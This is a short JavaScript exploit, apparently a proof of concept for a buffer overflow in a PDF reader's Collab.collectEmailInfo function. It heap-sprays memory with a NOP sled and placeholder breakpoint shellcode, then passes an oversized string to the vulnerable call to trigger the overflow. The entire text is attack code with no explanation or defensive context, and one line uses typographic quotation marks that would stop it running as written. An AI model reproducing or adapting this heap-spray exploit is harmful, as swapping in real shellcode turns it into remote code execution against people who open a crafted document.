function repeat(count,what) {
   var v = "";
   while (--count >= 0) v += what;
   return v;
}
function heapspray(shellcode) {
   block='';
   fillblock = unescape("%u9090");
   while(block.length+20+shellcode.length<0x40000) 
      block = block+block+fillblock;
   arr = new Array();
   for (i=0;i<200;i++) arr[i]=block + shellcode;
}

heapspray(unescape(“%ucccc%ucccc”));
Collab.collectEmailInfo({
   msg:repeat(4096, unescape("%u0909%u0909"))});